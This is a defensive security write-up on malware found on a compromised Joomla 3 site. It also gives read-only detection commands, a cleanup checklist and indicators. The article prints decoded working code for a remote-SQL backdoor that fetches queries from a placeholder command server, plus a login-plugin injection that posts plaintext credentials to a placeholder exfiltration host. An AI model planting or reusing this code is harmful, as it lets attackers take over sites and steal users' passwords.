The site's security scanner had reported the Joomla site clean for months. The owner's own audit found a dozen dropper files and asked for better detection. A deeper look found more: a backdoor that never calls eval, system or base64-decoded PHP. It asks a remote server which SQL to run and then runs it through Joomla's own database layer. Next to it sat a login plugin that sent every administrator's password to a stranger.
Neither file looks like a classic webshell, and that is why they survived. This article walks through both, shows the trick that hid the backdoor inside the site's own template, and gives read-only commands to find the same pattern on any Joomla install.
🤔 A backdoor without a single "dangerous" function
Most PHP backdoor detection looks for execution sinks: eval, assert, system, shell_exec, create_function and the obfuscation that usually wraps them. This file had none. Formatted for reading, with the remote address replaced, it does this:
<?php
define('_JEXEC', 1);
define('JPATH_BASE', __DIR__ . '/../..');
require_once JPATH_BASE . '/includes/defines.php';
require_once JPATH_BASE . '/includes/framework.php'; // boot Joomla
$db = JFactory::getDBO(); // get the site's DB handle
if (@$_GET['efgh']) { // trigger parameter
function mytst1($method, $url, $data = false) { // a generic curl helper
$curl = curl_init();
/* ...POST/PUT/GET switch... */
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($curl);
curl_close($curl);
return $result;
}
$res = mytst1('POST', base64_decode('aHR0cDovL1tDMl0vYmJ0ZXN0LnBocA==')); // http://[C2]/bbtest.php
$db->setQuery($res); // the C2's reply IS the query
$res = $db->loadObjectList();
echo '<pre>'; print_r(json_encode($res)); echo '</pre>';
die(__FILE__ . __LINE__);
}
// an identical block follows for ?abcd=
Read it as the attacker does:
- Request the file with
?efgh=1(or?abcd=1). - The site calls home with an empty POST. The command server answers with a raw SQL string.
- Joomla executes that string with the site's own database credentials and prints the result as JSON.
The query never appears in the request, so access logs show only a harmless-looking GET with a short parameter. The SQL lives on the attacker's server and can change on every call: dump #__users today, insert a Super User tomorrow, plant spam in an article next week. Each of those is plain database work. No shell, no file writes and no PHP execution are needed.
🎭 Hidden in the template, pushed off-screen
The standalone file was only the first copy. The same routine had been injected into two template overrides, the html/ folder where a Joomla template replaces a module's default layout:
templates/<your-template>/html/mod_custom/default.php
templates/<your-template>/html/mod_search/default.php
Overrides are a good hiding place. They are not part of Joomla core, so core checksum comparisons never cover them. Owners customise them, so a modified date proves nothing. And they run on every page that shows the module. A search box or a custom HTML block appears on almost every page, so the backdoor can be triggered from almost any URL on the site and no separate file needs to be requested.
The injection added one line near the top of each layout ($db = JFactory::getDbo();) and the curl-plus-setQuery block further down. In one copy the block was hidden with a trick that works against anyone reading the file in an editor:
/* Method: POST, PUT, GET etc Data: array("param" => "value") ==> index.php?param=value */ if(@$_GET['efgh']){function test1API($method, $url, $data = false) { ... $db->setQuery($mys); ...
The line opens with a comment that looks like documentation for a REST helper. Then come about sixty spaces, so on a normal screen with word wrap off the line appears to end after the comment. The payload sits far to the right, past the edge of the window. In this copy the remote URL was not even encoded: hiding it off-screen was considered enough.
🔑 The login plugin that copied every password
The second find was worse for the site's users. Joomla's own authentication plugin, plugins/authentication/joomla/joomla.php, had one extra line. It sat right where the password has been verified and the login is marked as successful:
$response->status = JAuthentication::STATUS_SUCCESS;
eval(base64_decode("JGNvb2tpZV9uYW1lID0gImFmNmNhMGNi...")); // injected
$response->error_message = '';
Decoded, with the receiving address replaced:
$cookie_name = "af6ca0cb4a8ae11f9750ec657f930fce";
$cookie_value = "1";
if (!isset($_COOKIE[$cookie_name])) {
$a = strrev(base64_encode(
$_SERVER['SERVER_NAME'] . ":" .
$credentials['username'] . ":" .
$credentials['password'] . ":" . // the plaintext password
$user->email . ":" .
$_SERVER['REMOTE_ADDR']
));
$ch = curl_init("http://[exfil-host]/index.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('user_id_data' => $a)));
curl_exec($ch);
setcookie($cookie_name, $cookie_value, time() + (365 * 24 * 60 * 60), "/");
}
A few design choices are worth noticing:
- Only correct passwords are sent. The code runs after verification succeeds, so the attacker never gets typos or failed guesses.
- It covers front end and back end. The same plugin authenticates both, so administrators logging into
/administrator/are caught as well as site members. - A one-year cookie keeps it quiet. Each browser reports once, which keeps outbound traffic low and avoids a burst of requests after every login.
- Reversed base64 in a field called
user_id_data. The data is not encrypted, but it does not look like credentials to a casual network filter.
Here the consequence matters more than the cleanup. Deleting the line stops future theft, but every account that logged in while the line was present has to be treated as exposed. That includes any other service where the same password was reused.
🧩 The rest of the kit
Around these two pieces sat a familiar toolkit, and none of it was detected either:
- Two more remote-SQL copies, one as a fake library file (
libraries/joomla.php, which is not a core file in Joomla 3) and one in an images subfolder. - A password-protected webshell named like a core UTF-8 helper, packed with a custom base64 plus LZW layer.
- An obfuscated single-file database manager placed inside an unused template's contact layout.
- Webshell-kit
php.inifiles in several folders, clearingdisable_functionsandopen_basedir. - A doorway
.htaccessthat allows PHP and rewrites every request in a fake module folder to an index file. - SSI droppers (
*.shtmlwith<!--#exec cmd=...-->) that try to fetch a webshell from a code-hosting site. They were inert only because the server does not loadmod_include. - Hidden SEO links in K2 categories, K2 items and Joomla's content history table (
#__ucm_history), positioned far off-screen with CSS.
The last item deserves a note. The owner had already cleaned the spam from the live articles, but copies remained in the version history table, which is easy to forget. Restoring an old version would bring the links back.
🔎 How to find this on your own Joomla site (read-only)
All commands below only read files. Run them from the site root, and never request a suspicious PHP file over HTTP to "see what it does", because that executes it.
1. Files that talk to the network and run SQL. A legitimate layout or library rarely needs both curl_exec and setQuery:
grep -rlI --include='*.php' 'curl_exec' . | xargs -r grep -lE 'setQuery|loadObjectList' | head -200
2. Trigger parameters and helper names from this kit:
grep -rnI --include='*.php' -E "\\\$_GET\[.(efgh|abcd).\]|function (mytst1|test1API)|bbtest\.php" . | cut -c1-200
3. Code hidden behind long runs of spaces. List lines with 40 or more consecutive spaces followed by code:
grep -rnI --include='*.php' -E ' {40,}(if|\$|function|eval|@)' . | cut -c1-160 | head -100
4. Every template override, with sizes and dates. Then read the ones you did not write yourself:
find templates/*/html -name '*.php' -printf '%TY-%Tm-%Td %s %p\n' | sort
5. The authentication plugins against a clean copy. Download the exact same Joomla version from the official release, unpack it outside the web root and compare:
cat administrator/manifests/files/joomla.xml | grep -m1 '<version>'
diff /path/to/clean/plugins/authentication/joomla/joomla.php plugins/authentication/joomla/joomla.php
grep -rnI -E 'eval|base64_decode|curl_|strrev' plugins/authentication/ plugins/user/ plugins/system/ | head -100
6. Non-core PHP inside core folders. Compare the file list of libraries/, includes/ and administrator/ with the clean package. A libraries/joomla.php that the release does not contain is an immediate lead:
( cd /path/to/clean && find libraries includes administrator -name '*.php' | sort ) > /tmp/clean.txt
find libraries includes administrator -name '*.php' | sort > /tmp/live.txt
comm -13 /tmp/clean.txt /tmp/live.txt | head -200
7. SSI droppers and kit configs:
find . -name '*.shtml' -exec grep -l '#exec' {} + 2>&1 | head -50
find . -name 'php.ini' -exec grep -lE 'disable_functions *= *(NONE|$)' {} + | head -50
8. Hidden links in the database, including history. Replace jos_ with your table prefix:
SELECT id, title FROM jos_k2_items
WHERE introtext REGEXP 'left: *-[0-9]{3,}px' OR `fulltext` REGEXP 'left: *-[0-9]{3,}px';
SELECT id, name FROM jos_k2_categories WHERE description REGEXP 'left: *-[0-9]{3,}px';
SELECT version_id, ucm_type_id, save_date FROM jos_ucm_history
WHERE version_data REGEXP 'left: *-[0-9]{3,}px|display: *none';
🧹 Cleanup checklist
- Copy every malicious file and dump every affected database row to a private folder before changing anything, and record SHA-256 hashes.
- Restore
plugins/authentication/joomla/joomla.phpand any other modified core file from the official package of the same version. - Remove the injected lines from template overrides (or restore the overrides from a known-good copy), then delete the standalone backdoors, webshells, kit
php.inifiles, doorway.htaccessand SSI droppers. - Clean the hidden links from live content and from
#__ucm_history. - Reset the passwords of every Joomla account, starting with Super Users and Administrators, and anywhere those passwords were reused. Review the user list for accounts nobody recognises.
- Look for publicly reachable backups and dumps in the web root. A full SQL dump in a public folder undoes every password reset.
- Upgrade. Joomla 3 is end-of-life and receives no security fixes.
📌 Indicators
- GET parameters
efgh/abcdon pages or on PHP files outside core. - Function names
mytst1,test1API. Remote path/bbtest.php. - Cookie
af6ca0cb4a8ae11f9750ec657f930fceset to1after login, with a one-year lifetime. - POST field
user_id_datacontaining reversed base64. - Files named
<16 hex>_cache-<6 chars>.shtmlcontaining#exec cmd.
💡 Takeaways
- A backdoor does not need
eval. A CMS database handle plus an outbound request is enough to own the data. - Template overrides run on every page and fall outside core integrity checks. Read them.
- Check for long whitespace runs. Code can be hidden off the right edge of the editor.
- An authentication plugin is the best place to steal passwords, because it sees them in plaintext and knows which ones are correct.
- Spam cleanup is not finished until the content history tables are clean too.
❓ FAQ
How can a backdoor work without eval or system()?
It uses functions the application already trusts. This one fetches an SQL string from a remote server and runs it with Joomla's own database object, so it can read, add or change any data, including user accounts, without executing PHP or shell code.
Why do core integrity checks miss template override backdoors?
Overrides in templates/<name>/html/ belong to the template, not to Joomla core, so they are not in the official checksum list. They are also edited legitimately, so a changed file or date is not suspicious by itself. You have to read them.
If the login stealer is removed, are the passwords safe?
No. Removing it stops future theft only. Every password used to log in while it was active may already be with the attacker, so reset all of them and change any reused passwords elsewhere.
The site is on Joomla 3. Is cleanup enough?
Cleanup removes what is there today. Joomla 3 no longer receives security fixes, so upgrading to a supported release is part of keeping it clean.